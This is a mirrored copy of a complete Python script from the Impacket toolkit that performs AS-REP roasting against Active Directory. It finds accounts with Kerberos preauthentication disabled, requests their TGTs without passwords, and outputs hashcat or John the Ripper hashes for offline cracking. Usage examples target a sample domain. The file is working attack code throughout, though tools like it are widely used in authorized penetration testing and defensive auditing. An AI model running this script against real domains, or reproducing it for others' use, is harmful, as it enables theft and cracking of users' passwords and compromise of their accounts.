mirror of
https://github.com/fortra/impacket
synced 2026-06-08 14:15:13 +00:00
cd4fe47cfc
This was a pending change to: - Use the same tagline, copyright and license notice across files. - Remove authors' contacts that are no longer valid (due to affiliation changes). - Update repository location. - Update license file with missing licenses (althought those were already in source files). This doesn't include any change on the source code, nor any change on current copyright or licenses. Just formatting and phrasing to make our and distro's maintainers life easier.
433 lines
19 KiB
Python
Executable File
433 lines
19 KiB
Python
Executable File
#!/usr/bin/env python
|
|
# Impacket - Collection of Python classes for working with network protocols.
|
|
#
|
|
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
|
|
#
|
|
# This software is provided under a slightly modified version
|
|
# of the Apache Software License. See the accompanying LICENSE file
|
|
# for more information.
|
|
#
|
|
# Description:
|
|
# This script will attempt to list and get TGTs for those users that have the property
|
|
# 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH).
|
|
# For those users with such configuration, a John The Ripper output will be generated so
|
|
# you can send it for cracking.
|
|
#
|
|
# Original credit for this technique goes to @harmj0y:
|
|
# https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
|
|
# Related work by Geoff Janjua:
|
|
# https://www.exumbraops.com/layerone2016/party
|
|
#
|
|
# For usage instructions run the script with no parameters.
|
|
#
|
|
# Author:
|
|
# Alberto Solino (@agsolino)
|
|
#
|
|
|
|
from __future__ import division
|
|
from __future__ import print_function
|
|
import argparse
|
|
import datetime
|
|
import logging
|
|
import random
|
|
import sys
|
|
from binascii import hexlify
|
|
|
|
from pyasn1.codec.der import decoder, encoder
|
|
from pyasn1.type.univ import noValue
|
|
|
|
from impacket import version
|
|
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH
|
|
from impacket.examples import logger
|
|
from impacket.examples.utils import parse_credentials
|
|
from impacket.krb5 import constants
|
|
from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter
|
|
from impacket.krb5.kerberosv5 import sendReceive, KerberosError
|
|
from impacket.krb5.types import KerberosTime, Principal
|
|
from impacket.ldap import ldap, ldapasn1
|
|
from impacket.smbconnection import SMBConnection
|
|
|
|
class GetUserNoPreAuth:
|
|
@staticmethod
|
|
def printTable(items, header):
|
|
colLen = []
|
|
for i, col in enumerate(header):
|
|
rowMaxLen = max([len(row[i]) for row in items])
|
|
colLen.append(max(rowMaxLen, len(col)))
|
|
|
|
outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
|
|
|
|
# Print header
|
|
print(outputFormat.format(*header))
|
|
print(' '.join(['-' * itemLen for itemLen in colLen]))
|
|
|
|
# And now the rows
|
|
for row in items:
|
|
print(outputFormat.format(*row))
|
|
|
|
def __init__(self, username, password, domain, cmdLineOptions):
|
|
self.__username = username
|
|
self.__password = password
|
|
self.__domain = domain
|
|
self.__lmhash = ''
|
|
self.__nthash = ''
|
|
self.__no_pass = cmdLineOptions.no_pass
|
|
self.__outputFileName = cmdLineOptions.outputfile
|
|
self.__outputFormat = cmdLineOptions.format
|
|
self.__usersFile = cmdLineOptions.usersfile
|
|
self.__aesKey = cmdLineOptions.aesKey
|
|
self.__doKerberos = cmdLineOptions.k
|
|
self.__requestTGT = cmdLineOptions.request
|
|
self.__kdcHost = cmdLineOptions.dc_ip
|
|
if cmdLineOptions.hashes is not None:
|
|
self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
|
|
|
|
# Create the baseDN
|
|
domainParts = self.__domain.split('.')
|
|
self.baseDN = ''
|
|
for i in domainParts:
|
|
self.baseDN += 'dc=%s,' % i
|
|
# Remove last ','
|
|
self.baseDN = self.baseDN[:-1]
|
|
|
|
def getMachineName(self):
|
|
if self.__kdcHost is not None:
|
|
s = SMBConnection(self.__kdcHost, self.__kdcHost)
|
|
else:
|
|
s = SMBConnection(self.__domain, self.__domain)
|
|
try:
|
|
s.login('', '')
|
|
except Exception:
|
|
if s.getServerName() == '':
|
|
raise Exception('Error while anonymous logging into %s')
|
|
else:
|
|
s.logoff()
|
|
return s.getServerName()
|
|
|
|
@staticmethod
|
|
def getUnixTime(t):
|
|
t -= 116444736000000000
|
|
t /= 10000000
|
|
return t
|
|
|
|
def getTGT(self, userName, requestPAC=True):
|
|
|
|
clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
|
|
|
asReq = AS_REQ()
|
|
|
|
domain = self.__domain.upper()
|
|
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
|
|
|
pacRequest = KERB_PA_PAC_REQUEST()
|
|
pacRequest['include-pac'] = requestPAC
|
|
encodedPacRequest = encoder.encode(pacRequest)
|
|
|
|
asReq['pvno'] = 5
|
|
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
|
|
|
|
asReq['padata'] = noValue
|
|
asReq['padata'][0] = noValue
|
|
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
|
|
asReq['padata'][0]['padata-value'] = encodedPacRequest
|
|
|
|
reqBody = seq_set(asReq, 'req-body')
|
|
|
|
opts = list()
|
|
opts.append(constants.KDCOptions.forwardable.value)
|
|
opts.append(constants.KDCOptions.renewable.value)
|
|
opts.append(constants.KDCOptions.proxiable.value)
|
|
reqBody['kdc-options'] = constants.encodeFlags(opts)
|
|
|
|
seq_set(reqBody, 'sname', serverName.components_to_asn1)
|
|
seq_set(reqBody, 'cname', clientName.components_to_asn1)
|
|
|
|
if domain == '':
|
|
raise Exception('Empty Domain not allowed in Kerberos')
|
|
|
|
reqBody['realm'] = domain
|
|
|
|
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
|
reqBody['till'] = KerberosTime.to_asn1(now)
|
|
reqBody['rtime'] = KerberosTime.to_asn1(now)
|
|
reqBody['nonce'] = random.getrandbits(31)
|
|
|
|
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
|
|
|
|
seq_set_iter(reqBody, 'etype', supportedCiphers)
|
|
|
|
message = encoder.encode(asReq)
|
|
|
|
try:
|
|
r = sendReceive(message, domain, self.__kdcHost)
|
|
except KerberosError as e:
|
|
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
|
|
# RC4 not available, OK, let's ask for newer types
|
|
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
|
|
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
|
|
seq_set_iter(reqBody, 'etype', supportedCiphers)
|
|
message = encoder.encode(asReq)
|
|
r = sendReceive(message, domain, self.__kdcHost)
|
|
else:
|
|
raise e
|
|
|
|
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
|
|
# 'Do not require Kerberos preauthentication' set
|
|
try:
|
|
asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
|
|
except:
|
|
# Most of the times we shouldn't be here, is this a TGT?
|
|
asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
|
|
else:
|
|
# The user doesn't have UF_DONT_REQUIRE_PREAUTH set
|
|
raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName)
|
|
|
|
if self.__outputFormat == 'john':
|
|
# Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
|
|
return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain,
|
|
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
|
|
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
|
|
else:
|
|
# Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
|
|
return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
|
|
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
|
|
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
|
|
|
|
@staticmethod
|
|
def outputTGT(entry, fd=None):
|
|
if fd is None:
|
|
print(entry)
|
|
else:
|
|
fd.write(entry + '\n')
|
|
|
|
def run(self):
|
|
if self.__usersFile:
|
|
self.request_users_file_TGTs()
|
|
return
|
|
|
|
if self.__doKerberos:
|
|
target = self.getMachineName()
|
|
else:
|
|
if self.__kdcHost is not None:
|
|
target = self.__kdcHost
|
|
else:
|
|
target = self.__domain
|
|
|
|
# Are we asked not to supply a password?
|
|
if self.__doKerberos is False and self.__no_pass is True:
|
|
# Yes, just ask the TGT and exit
|
|
logging.info('Getting TGT for %s' % self.__username)
|
|
entry = self.getTGT(self.__username)
|
|
self.outputTGT(entry, None)
|
|
return
|
|
|
|
# Connect to LDAP
|
|
try:
|
|
ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost)
|
|
if self.__doKerberos is not True:
|
|
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
|
else:
|
|
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
|
self.__aesKey, kdcHost=self.__kdcHost)
|
|
except ldap.LDAPSessionError as e:
|
|
if str(e).find('strongerAuthRequired') >= 0:
|
|
# We need to try SSL
|
|
ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost)
|
|
if self.__doKerberos is not True:
|
|
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
|
else:
|
|
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
|
self.__aesKey, kdcHost=self.__kdcHost)
|
|
else:
|
|
# Cannot authenticate, we will try to get this users' TGT (hoping it has PreAuth disabled)
|
|
logging.info('Cannot authenticate %s, getting its TGT' % self.__username)
|
|
entry = self.getTGT(self.__username)
|
|
self.outputTGT(entry, None)
|
|
return
|
|
|
|
|
|
# Building the search filter
|
|
searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
|
|
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
|
|
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
|
|
|
|
try:
|
|
logging.debug('Search Filter=%s' % searchFilter)
|
|
resp = ldapConnection.search(searchFilter=searchFilter,
|
|
attributes=['sAMAccountName',
|
|
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
|
|
sizeLimit=999)
|
|
except ldap.LDAPSearchError as e:
|
|
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
|
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
|
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
|
# paged queries
|
|
resp = e.getAnswers()
|
|
pass
|
|
else:
|
|
raise
|
|
|
|
answers = []
|
|
logging.debug('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
|
|
continue
|
|
mustCommit = False
|
|
sAMAccountName = ''
|
|
memberOf = ''
|
|
pwdLastSet = ''
|
|
userAccountControl = 0
|
|
lastLogon = 'N/A'
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
mustCommit = True
|
|
elif str(attribute['type']) == 'userAccountControl':
|
|
userAccountControl = "0x%x" % int(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'memberOf':
|
|
memberOf = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'pwdLastSet':
|
|
if str(attribute['vals'][0]) == '0':
|
|
pwdLastSet = '<never>'
|
|
else:
|
|
pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'lastLogon':
|
|
if str(attribute['vals'][0]) == '0':
|
|
lastLogon = '<never>'
|
|
else:
|
|
lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
if mustCommit is True:
|
|
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
|
except Exception as e:
|
|
logging.debug("Exception:", exc_info=True)
|
|
logging.error('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
|
|
if len(answers)>0:
|
|
self.printTable(answers, header=[ "Name", "MemberOf", "PasswordLastSet", "LastLogon", "UAC"])
|
|
print('\n\n')
|
|
|
|
if self.__requestTGT is True:
|
|
usernames = [answer[0] for answer in answers]
|
|
self.request_multiple_TGTs(usernames)
|
|
|
|
else:
|
|
print("No entries found!")
|
|
|
|
def request_users_file_TGTs(self):
|
|
|
|
with open(self.__usersFile) as fi:
|
|
usernames = [line.strip() for line in fi]
|
|
|
|
self.request_multiple_TGTs(usernames)
|
|
|
|
def request_multiple_TGTs(self, usernames):
|
|
if self.__outputFileName is not None:
|
|
fd = open(self.__outputFileName, 'w+')
|
|
else:
|
|
fd = None
|
|
for username in usernames:
|
|
try:
|
|
entry = self.getTGT(username)
|
|
self.outputTGT(entry, fd)
|
|
except Exception as e:
|
|
logging.error('%s' % str(e))
|
|
if fd is not None:
|
|
fd.close()
|
|
|
|
|
|
|
|
# Process command-line arguments.
|
|
if __name__ == '__main__':
|
|
print(version.BANNER)
|
|
|
|
parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users with "
|
|
"'Do not require Kerberos preauthentication' set and export their TGTs for cracking")
|
|
|
|
parser.add_argument('target', action='store', help='domain/username[:password]')
|
|
parser.add_argument('-request', action='store_true', default=False, help='Requests TGT for users and output them '
|
|
'in JtR/hashcat format (default False)')
|
|
parser.add_argument('-outputfile', action='store',
|
|
help='Output filename to write ciphers in JtR/hashcat format')
|
|
|
|
parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat',
|
|
help='format to save the AS_REQ of users without pre-authentication. Default is hashcat')
|
|
|
|
parser.add_argument('-usersfile', help='File with user per line to test')
|
|
|
|
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
|
|
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
|
|
|
group = parser.add_argument_group('authentication')
|
|
|
|
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
|
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
|
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
|
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
|
'cannot be found, it will use the ones specified in the command '
|
|
'line')
|
|
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
|
'(128 or 256 bits)')
|
|
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
|
'ommited it use the domain part (FQDN) '
|
|
'specified in the target parameter')
|
|
|
|
if len(sys.argv)==1:
|
|
parser.print_help()
|
|
print("\nThere are a few modes for using this script")
|
|
print("\n1. Get a TGT for a user:")
|
|
print("\n\tGetNPUsers.py contoso.com/john.doe -no-pass")
|
|
print("\nFor this operation you don\'t need john.doe\'s password. It is important tho, to specify -no-pass in the script, "
|
|
"\notherwise a badpwdcount entry will be added to the user")
|
|
print("\n2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set")
|
|
print("\n\tGetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily")
|
|
print("\nThis will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. \nHowever "
|
|
"it will require you to have emily\'s password. (If you don\'t specify it, it will be asked by the script)")
|
|
print("\n3. Request TGTs for all users")
|
|
print("\n\tGetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily")
|
|
print("\n4. Request TGTs for users in a file")
|
|
print("\n\tGetNPUsers.py contoso.com/ -no-pass -usersfile users.txt")
|
|
print("\nFor this operation you don\'t need credentials.")
|
|
sys.exit(1)
|
|
|
|
options = parser.parse_args()
|
|
|
|
# Init the example's logger theme
|
|
logger.init(options.ts)
|
|
|
|
if options.debug is True:
|
|
logging.getLogger().setLevel(logging.DEBUG)
|
|
# Print the Library's installation path
|
|
logging.debug(version.getInstallationPath())
|
|
else:
|
|
logging.getLogger().setLevel(logging.INFO)
|
|
|
|
domain, username, password = parse_credentials(options.target)
|
|
|
|
if domain == '':
|
|
logging.critical('Domain should be specified!')
|
|
sys.exit(1)
|
|
|
|
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
|
from getpass import getpass
|
|
password = getpass("Password:")
|
|
|
|
if options.aesKey is not None:
|
|
options.k = True
|
|
|
|
if options.k is False and options.no_pass is True and username == '' and options.usersfile is None:
|
|
logging.critical('If the -no-pass option was specified, but Kerberos (-k) is not used, then a username or the -usersfile option should be specified!')
|
|
sys.exit(1)
|
|
|
|
if options.outputfile is not None:
|
|
options.request = True
|
|
|
|
try:
|
|
executer = GetUserNoPreAuth(username, password, domain, options)
|
|
executer.run()
|
|
except Exception as e:
|
|
logging.debug("Exception:", exc_info=True)
|
|
logging.error(str(e))
|